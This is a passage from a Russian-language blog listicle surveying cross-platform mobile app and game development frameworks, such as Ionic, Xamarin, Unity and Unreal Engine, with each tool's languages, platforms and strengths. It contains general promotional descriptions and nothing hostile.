    Ionic известен тем, что поддерживает новейшие мобильные устройства и готовит прочную основу для мобильного приложения, прежде чем оно в конечном итоге будет выпущено на рынок.

    Фреймворк содержит элементы HTML5, которые также могут пригодиться при создании гибридных приложений. Фактически, это один из лучших ресурсов для создания прогрессивных веб-приложений.

    Ionic framework вполне совместим с другими SDK и лучше всего работает с PhoneGap и Cordova.

  • Xamarin
  • Xamarin - это кроссплатформенная платформа для разработки мобильных приложений, которая также довольно популярна для нативных приложений. По сути, это монофреймворк, Xamarin позволяет взаимодействовать с API мобильных устройств.Хранилище компонентов Xamarin довольно изобретательно с элементами управления пользовательским интерфейсом, кроссплатформенными библиотеками и сторонними библиотеками.

    Как правило, Xamarin выдает меньше ошибок, сокращая время вывода на рынок, а также позволяет выполнять индексацию и глубокие ссылки.

  • PhoneGap
  • Это платформа разработки мобильных приложений с открытым исходным кодом, которая доступна бесплатно. В качестве кроссплатформенной среды разработки приложений он позволяет разработать единое приложение, которое будет бесперебойно работать на всех устройствах и ОС.Платформа эффективно работает с JavaScript, HTML5 и CSS3 и может интегрироваться с несколькими библиотеками для улучшения процесса разработки приложений.

    Платформа включает в себя архитектуру подключаемых модулей, которая позволяет разработчикам расширять функциональность создаваемого ими приложения. И что самое приятное, это не требует от вас каких-либо специальных навыков.

  • MonoCross
  • Эта конкретная платформа позволяет разрабатывать кроссплатформенные приложения с использованием C #, Microsoft.NET и Mono framework. Самое приятное то, что вы можете сохранить код приложения, контроллера и модели для нескольких платформ, экспериментируя с контейнером платформы и тем, как он выглядит или пользовательским интерфейсом. Вот почему приложения, созданные с помощью MonoCross, обеспечивают естественный опыт на всех основных платформах. В довершение ко всему, это также упрощает перенос приложений, позволяя предприятиям справляться с быстрыми изменениями платформ.

    Так как платформа поддерживает широкий спектр API-интерфейсов, легче использовать возможности устройства в целом.Время разработки этой платформы невелико, поскольку MonoCross поддерживает сторонние API. Это означает, что разработчикам не нужно беспокоиться о низкоуровневых тонкостях каждой из платформ. Единственным недостатком является отсутствие документации и ресурсов поддержки в Интернете, что заставляет новичков бороться с удобством использования и функциями.

  • AdobeBuild
  • Build особенно известен своей скоростью доставки и качеством результатов, поскольку этот облачный инструмент совместим с PhoneGap.Самое замечательное здесь то, что нет необходимости знакомиться с несколькими собственными SDK, такими как Android SDK, iOS SDK, Windows Phone SDK и т. Д., И разработчики могут работать над любым проектом разработки кроссплатформенных приложений. Единственные требования включают знание веб-технологий или таких языков, как CSS3, HTML5 и Java.

    Поскольку фреймворк позволяет повторно использовать коды, легче придерживаться строгих сроков, что делает его идеальным выбором для предприятий и предприятий, поскольку они работают с довольно строгими TTM и жесткой конкуренцией.

    Обработка данных и фоновая обработка не так быстры с JavaScript, как если бы вы использовали родной язык.

  • KonyAppPlatform
  • По сути, это среда разработки приложений с низким кодом, которая приобрела огромную популярность среди предприятий, которые борются с растущим спросом на мобильные приложения. Разработчики, обладающие навыками в области JavaScript, могут использовать платформу и создавать собственные или кроссплатформенные приложения в зависимости от необходимости.

    Одним из наиболее привлекательных преимуществ здесь является возможность перетаскивания функций из Kony Marketplace или их библиотек API.В фреймворке есть множество примеров приложений или готовых приложений, которые вдохновляют разработчиков и помогают им лучше понять фреймворк. Kony поддерживает широкий спектр серверных систем и имеет мощный визуализатор.

    Kony имеет один большой недостаток - отсутствие документации и поддержки, что означает, что это тяжелая поездка для новичков.

  • Convertigo
  • Convertigo называет себя мобильной серверной частью как услугой или платформой MBaaS и имеет целый портфель продуктов, включая Convertigo Studio, Convertigo Server, Convertigo Cloud и Convertigo Mobilizer, которые упрощают весь процесс разработки приложений для бизнеса .

    Платформа имеет технологию репликации данных fullsync, помогающую создавать приложения с возможностью автономного режима. Платформа поддерживает плагины Cordova и может использовать встроенные функции устройства, такие как GPS, камера и другие датчики.

  • Qt
  • Это кроссплатформенный SDK, предлагающий доступный дизайн, разработку и развертывание, что позволяет разработчикам обеспечивать наилучшее взаимодействие с пользователем на всех устройствах. Фреймворк имеет классы включения для работы с окнами и рендеринга, а также оптимизацию парсера и компилятора.Кроме того, Qt поддерживает непрозрачные закрытые ключи, IPv6 и двухрежимные сети. Лучшая часть фреймворка заключается в том, что он предлагает обходные пути для ошибочных серверов SSL.

  • Appcelerator
  • Appcelerator - отличный инструмент для кросс-платформенных разработчиков для создания, тестирования, подключения и, наконец, измерения функциональности создаваемого приложения. Инструмент отдает предпочтение JavaScript для программирования, и здесь также работает универсальная концепция кода. Этот инструмент особенно хорошо подходит для быстрой разработки приложений, он помогает быстро и просто создать прототип приложения, позволяя оценить взаимодействие пользователя с пользовательским интерфейсом.ArrowDB, хранилище данных без схемы, позволяет развертывать модели данных без каких-либо усилий при настройке. Еще одним большим преимуществом использования этой платформы является то, что она оснащена предварительно созданными коннекторами для MS Azure, MS SQL, Salesforce, MongoDB и многих других.

  • RhoMobileSuite
  • RhoMobile Suite поддерживается платформой с открытым исходным кодом Rhodes и представляет собой отличный набор инструментов разработки, которые можно использовать для создания ориентированных на данные кроссплатформенных корпоративных приложений с естественным пользовательским интерфейсом.Самое интересное в приложениях в RhoMobile Suite заключается в том, что их можно сделать совместимыми как с мобильными, так и с немобильными операционными системами. Платформа предлагает автоматическое шифрование данных, помогая организациям, использующим модель BYOD, гарантировать, что безопасность данных не будет нарушена. Object Relational Mapper на платформе обеспечивает автоматическую синхронизацию внутренних данных и обеспечивает доступность данных в автономном режиме и их синхронизацию с приложениями.

    Единственным недостатком этого метода является то, что он ограничивает плагины RFID только для Windows Mobile.Если бы об этой единственной проблеме позаботились, популярность этого фреймворка была бы еще выше.

  • AlphaAnywhere
  • Alpha Anywhere, популярный инструмент разработки и развертывания мобильных приложений, отлично подходит для создания кроссплатформенных мобильных и веб-приложений для бизнеса. Платформа обеспечивает безопасность мобильных данных корпоративного уровня и позволяет публиковать публикации из собственной среды разработки. Платформа обеспечивает автономную синхронизацию и предлагает полный доступ к внутренним данным.Замечательно то, что платформа позволяет вам получить доступ к ряду предварительно созданных примеров приложений, которые впоследствии можно будет использовать в качестве справочника или вдохновения для моделирования вашего мобильного приложения.

  • Sencha
  • Sencha или Sencha Ext JS - это JavaScript-фреймворк на основе MVC, который обеспечивает высокий уровень отзывчивости в приложениях, построенных на платформе, что в конечном итоге повышает уровень удовлетворенности клиентов. Используя Sencha touch SDK, разработчики могут кодировать свои мобильные приложения в формате HTML5, а их код можно переводить с помощью такого инструмента, как PhoneGap.Он также позволяет масштабировать ваше приложение до нескольких разрешений, чтобы ваше приложение было совместимо со всеми устройствами на рынке.

  • CoronaLabs
  • Это отличный кроссплатформенный фреймворк для разработки мобильных приложений, который можно использовать для создания приложений и игр как для мобильных, так и для настольных устройств. Это совершенно бесплатно и позволяет вам создавать игры бесплатно за долю времени, которое вы бы потратили, если бы вы использовали любой другой метод. Этот популярный игровой движок позволяет разработчикам делиться своим кодом при создании игр и их публикации на любой из платформ, включая iOS, Android и даже Kindle.Corona оптимизирована для использования функций аппаратного ускорения, повышающих производительность в играх и приложениях.

  • SpriteKit
  • SpriteKit - это проприетарный фреймворк Apple для разработки 2D-игр, совместимый с языками Swift и Objective-C. Этот великолепный игровой движок предлагает вам большое удобство для более простого управления сценами, простого управления и редактирования игровых объектов или элементов, а также поддерживает звук и разработку пользовательских кодов. SpriteKit дает вам огромную гибкость для проектирования различных уровней и разработки различных систем частиц.Навигация в SpriteKit довольно проста, поскольку он использует Box2D в качестве физического движка и встроенной камеры. Это особенно хороший выбор для разработчиков, которые привыкли к экосистеме Apple.

  • Unity
  • Популярный движок разработки игр Unity поддерживает C # и собственный язык UnityScript. Это кроссплатформенный инструмент, который имеет как бесплатную, так и профессиональную версии и может быть развернут на нескольких платформах. Встроенный редактор позволяет редактировать изображения и организовывать анимацию из окна аниматора и даже позволяет создавать систему частиц.

    Благодаря собственному физическому движку и встроенной камере навигация в игровом мире становится намного проще. Пользовательский интерфейс игрового движка состоит из нескольких компонентов, которые демонстрируют функции в удобном для просмотра формате.

  • Cocos2D
  • Фреймворк с открытым исходным кодом, Cocos2D доступен бесплатно и может отлично работать как со Swift, так и с Objective-C, а также поддерживает iOS и OS X. Если кодирование выполняется с помощью подключаемых модулей Objective-C, доступны также для поддержки платформы Android.В нем есть множество полезных инструментов, которые можно использовать для эффективного управления сценой, поиска анимаций, системы частиц и тайловых карт.

    Этот игровой движок использует OpenGL в качестве движка рендеринга. Cocos2D идеально подходит для тех, кто хочет разрабатывать для нескольких платформ и получать удовольствие от работы над Objective-C и Swift.

  • Marmalade
  • Marmalade поставляется с бесплатным набором инструментов, специально разработанных для упрощения процесса разработки и портирования игр. Известный как быстрый и высокопроизводительный кроссплатформенный движок, Marmalade отлично подходит как для 2D, так и для 3D-игр.Marmalade SDK можно использовать для программирования на C ++, а версия Marmalade Quick отлично подходит для разработки приложений, использующих Lua. Marmalade Web, с другой стороны, позволяет создавать гибридные приложения с HTML 5, CSS и JavaScript.

    Платформа, получившая множество наград, Marmalade пользуется большой популярностью среди ведущих разработчиков игр благодаря своей способности создавать собственные игры для мобильных и настольных платформ. Еще один инструмент в пакете, Marmalade Juice, упрощает перенос игр для iOS в экосистему Android.

  • AmazonLumberyard
  • Lumberyard, бесплатный игровой движок AAA от Amazon, основан на архитектуре CryEngine и предлагает несколько бесплатных инструментов. Платформа обеспечивает кроссплатформенную функциональность для разработки высококачественных игр. В нем есть множество бесплатных инструментов и кроссплатформенная функциональность для разработки качественных игр. Лучшая часть использования этой платформы заключается в том, что вам не нужно делиться своим доходом с Amazon. В игровой движок интегрирован AWS; следовательно, вы даже можете размещать многопользовательские игры в облачной инфраструктуре AWS.

    Дополнительным преимуществом этой платформы является возможность маркетинга ваших игр с помощью Twitch для потоковой передачи ваших видеоигр в Интернете широкому кругу пользователей.

  • CryEngine
  • CryEngine - популярный движок для разработки игр, когда речь идет о 3D-играх для консолей и ПК с Windows. Этот интересный движок для разработки игр разработан немецкой компанией Crytek, и ее можно использовать для создания шутеров от первого лица и более сложных игр с использованием C ++, ActionScript, Lua Script и Visual Studio.

    Платформа предлагает как платные, так и бесплатные модели, которые можно использовать для разработки различных игровых ресурсов, охватывающих огромный игровой рынок.

    Платформа предлагает множество функций, которые делают ее блестящей и эффективной, включая глобальное освещение на основе вокселей, карты теней для каждого объекта, многослойную навигационную сетку, параметрическую скелетную анимацию и многие другие.

  • NextPeer
  • Многопользовательский SDK для социальных сетей, NextPeer, известен прежде всего тем, что решает проблему многопользовательских игр на мобильных устройствах и поддерживает как синхронный, так и асинхронный игровой процесс.Игры, разработанные с помощью NextPeer, известны тем, что обеспечивают максимальное удержание пользователей при высоком качестве игрового процесса и высокой вовлеченности, которые они предлагают. Движок разработки игр поддерживает взаимодействие в реальном времени и ранжирование в реальном времени, что делает весь процесс более интересным и довольно реальным. Платформа имеет отложенную синхронную технологию, что означает, что игроки могут играть в прошлые сессии других игроков. Эта поистине уникальная особенность делает NextPeer очень конкурентоспособным движком для разработки мобильных игр на рынке.Движок поддерживает разработку и проектирование игр для iOS и Android, а также расширяет поддержку Unity и Cocos2D-X

  • Haxe
  • Многоплатформенный язык программирования с открытым исходным кодом Haxe - это движок разработки игр, который поддерживает оба iOS и Android одинаково. Разработчики, знакомые с Java, C ++, PHP или AS3, могут легко изучить язык с помощью инструментария этого движка. Платформе доверяют, в частности, при проектировании и разработке кроссплатформенных игр, и она предлагает довольно плавный процесс разработки.

    Компилятор для Haxe создает кросс-платформенный собственный код и быстро компилирует тысячи классов для быстрой разработки игр. Инструментарий поставляется со стандартной библиотекой Haxe, которая поставляется с мощным набором API-интерфейсов и дополнительными необработанными фреймворками, которые можно использовать для разработки дополнительных инструментов всякий раз, когда возникает необходимость.

  • Gideros
  • Этот, как и несколько других в этом списке, является движком разработки игр с открытым исходным кодом, который использует Lua Script.Эта платформа расширяет поддержку и может импортировать на несколько платформ, таких как iOS, Android, Windows Phone, OS X, Windows и Windows RT.

    Gideros имеет преимущество перед Lua в том, что он предоставляет API на основе классов, позволяющий разработчикам легко работать и писать чистые коды, которые можно использовать повторно.

    Он имеет набор функций, необходимых для разработки мобильных игр, таких как диспетчер сцен, класс MovieClip и библиотека GTween, которая помогает управлять объектами в игре и манипулировать ими. Кроме того, Gideros использует Box2D для физики и имеет несколько важных инструментов, таких как упаковщик текстур и создатель шрифтов для улучшения игрового процесса.

    Gideros - отличный выбор для разработчиков, которые хорошо знакомы с Lua.

  • Titanium
  • Благодаря JavaScript в качестве языка программирования, Titanium является популярной бесплатной платформой среди разработчиков для создания приложений, но также зарекомендовал себя как сильная платформа для разработки игр. Хотя игры могут разрабатываться на платформе бесплатно, для их публикации требуется платная лицензия. Платформа позволяет легко изменять и анимировать представления и изображения, используя собственные элементы управления iOS и Android.

    Titanium - отличный фреймворк для обработки игр с некоторыми исключительными эффектами, и разработчики также могут загружать пользовательские модули с его торговой площадки. Если вы планируете создать игру с простыми функциями и менее сложными движущимися объектами, это отличный выбор.

  • PowerVRGraphicsSDK
  • PowerVR Graphics SDK - отличная платформа для разработки кроссплатформенных графических приложений. Это полный набор SDK, созданный на основе PVRShell.Он не только помогает упростить весь процесс написания приложений, но также предоставляет PVRTools, которая представляет собой комплексную библиотеку наиболее часто используемых функций приложений трехмерной графики и поддерживает iOS и Android.

    Это отличный инструмент, особенно когда вам нужно упростить множество объектов в сложных игровых сценах. Лучшая часть этого SDK заключается в том, что он поставляется с несколькими руководствами, полезными техническими документами и обучающими материалами, которые могут пригодиться для максимального использования инструмента.

  • ProjectAnarchy
  • Project Anarchy - это непрерывный движок разработки мобильных игр от Havok, который отлично подходит для создания полноценных игр для мобильных устройств. Разработчикам, использующим эту платформу, не нужно платить, потому что платформа предлагает бесплатную лицензию на импорт игр на iOS, Android и Tizen.

    Он поставляется с полным набором инструментов, включая Havok Vision Engine и набор критически важных инструментов разработки, таких как Physics, Animation Studio и AI.

    Платформа позволяет добавлять файлы FBX в менеджер активов и поддерживает автоматическую проверку подлинности сценариев, освещение частиц и интеграцию Scaleform & FMOD.

  • MonoGame
  • Это тоже многоплатформенный игровой движок, использующий архитектуру классов. Платформа использует языки C и Net. Платформа позволяет разрабатывать игры бесплатно и поддерживает ведущие платформы, включая iOS, Android и Windows phone.

  • CocoonJS
  • CocoonJS отлично подходит для создания игр HTML5 и, что самое приятное, он полностью совместим с Cordova.Он имеет множество замечательных функций, и одна из самых ярких из них - облако Cocoon, которое гарантирует, что вам не придется устанавливать SDK. У них также есть богатая библиотека плагинов, в которой есть практически любой плагин, который вам может понадобиться. Движок разработки игр поддерживает несколько платформ, включая iOS, Android, плагин Amazon AppStore (Android), плагин Nook (Android), плагин Ouya (Android) и Android Wear.

  • GameMakerStudio2
  • GameMaker Studio2 - платформа для создания 2D-игр от Yoyo Games.У них есть потрясающая функция «перетаскивания» и простой в изучении язык, которые вместе дают вам возможность разработать всю игру за очень короткое время. Отличительным преимуществом платформы является то, что она не прожигает дыру в кармане.

    Движок разработки игр поддерживает несколько платформ, в том числе iOS, Android, Windows Phone, Tizen, Amazon Fire и PS Vita.

  • UnrealEngine
  • Unreal Engine - идеальная платформа для тех, у кого нет опыта и находится на уровне новичков, поскольку она не требует навыков программирования и имеет множество удобных для пользователя функций.Используя эту платформу, вы можете вносить столько изменений и модификаций в игру, сколько захотите, без необходимости программирования или кодирования. Кроме того, интерфейс платформы довольно прост в работе и даже позволяет тестировать игру внутри платформы. Движок разработки игр позволяет создавать великолепную трехмерную графику, которая не только привлекает геймеров, но и привлекает их к себе. Движок поддерживает множество платформ, включая ПК с Windows, Sony PlayStation 4, Xbox One, Mac OS X, iOS, Android, платформы VR, Linux, Steam OS, HTML5 и другие.

  • Buildbox
  • Это еще одна потрясающая платформа без кода, которая позволяет вам создавать свои собственные игры в мгновение ока. Платформа довольно проста в использовании, и все, что вам нужно сделать, это выбрать изображения, импортировать их и назначить им роли, и все! Ваша игра начнется. Самое интересное то, что вы можете вносить изменения и видеть их отражение в реальном времени! В настоящее время движок разработки игр поддерживает только платформу iOS и доступен только как платная платформа.

  • AppGameKit
  • AppGameKit - отличная платформа, независимо от того, являетесь ли вы экспертом или новичком. Платформа известна своим удобством и использует язык программирования, очень похожий на C ++. AppGameKit - это кроссплатформенный движок разработки игр, поэтому игра, которую вы создаете с его помощью, будет доступна для всех различных платформ за один раз! Он поддерживает несколько платформ, таких как iOS, Android, Windows Phone и Blackberry.

  • Construct2
  • Это отличная платформа HTML5, которая особенно удобна для создания 2D-игр и проста в использовании.Платформа не требует программирования для создания интересных игр. Платформа пользуется популярностью среди разработчиков игр, поскольку она загружена функциями, которые позволяют разрабатывать игры, которые визуально привлекательны. Уникальной особенностью движка разработки игр Construct 2 является то, что он имеет функцию многоплатформенного экспорта, которая гарантирует, что ваш проект или игра, которую вы создаете, готовы к публикации на нескольких типах устройств за один раз! Construct 2 поддерживает несколько платформ, включая iOS, Android, Windows Phone и ряд веб-платформ, включая Google Chrome, Kongregate, NewGrounds, Firefox Marketplace или Scirra Arcade.

  • Fusion
  • Fusion - потрясающая платформа для создания игр, основанных на событиях, с очень простым в использовании интерфейсом.

    Оставить комментарий

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *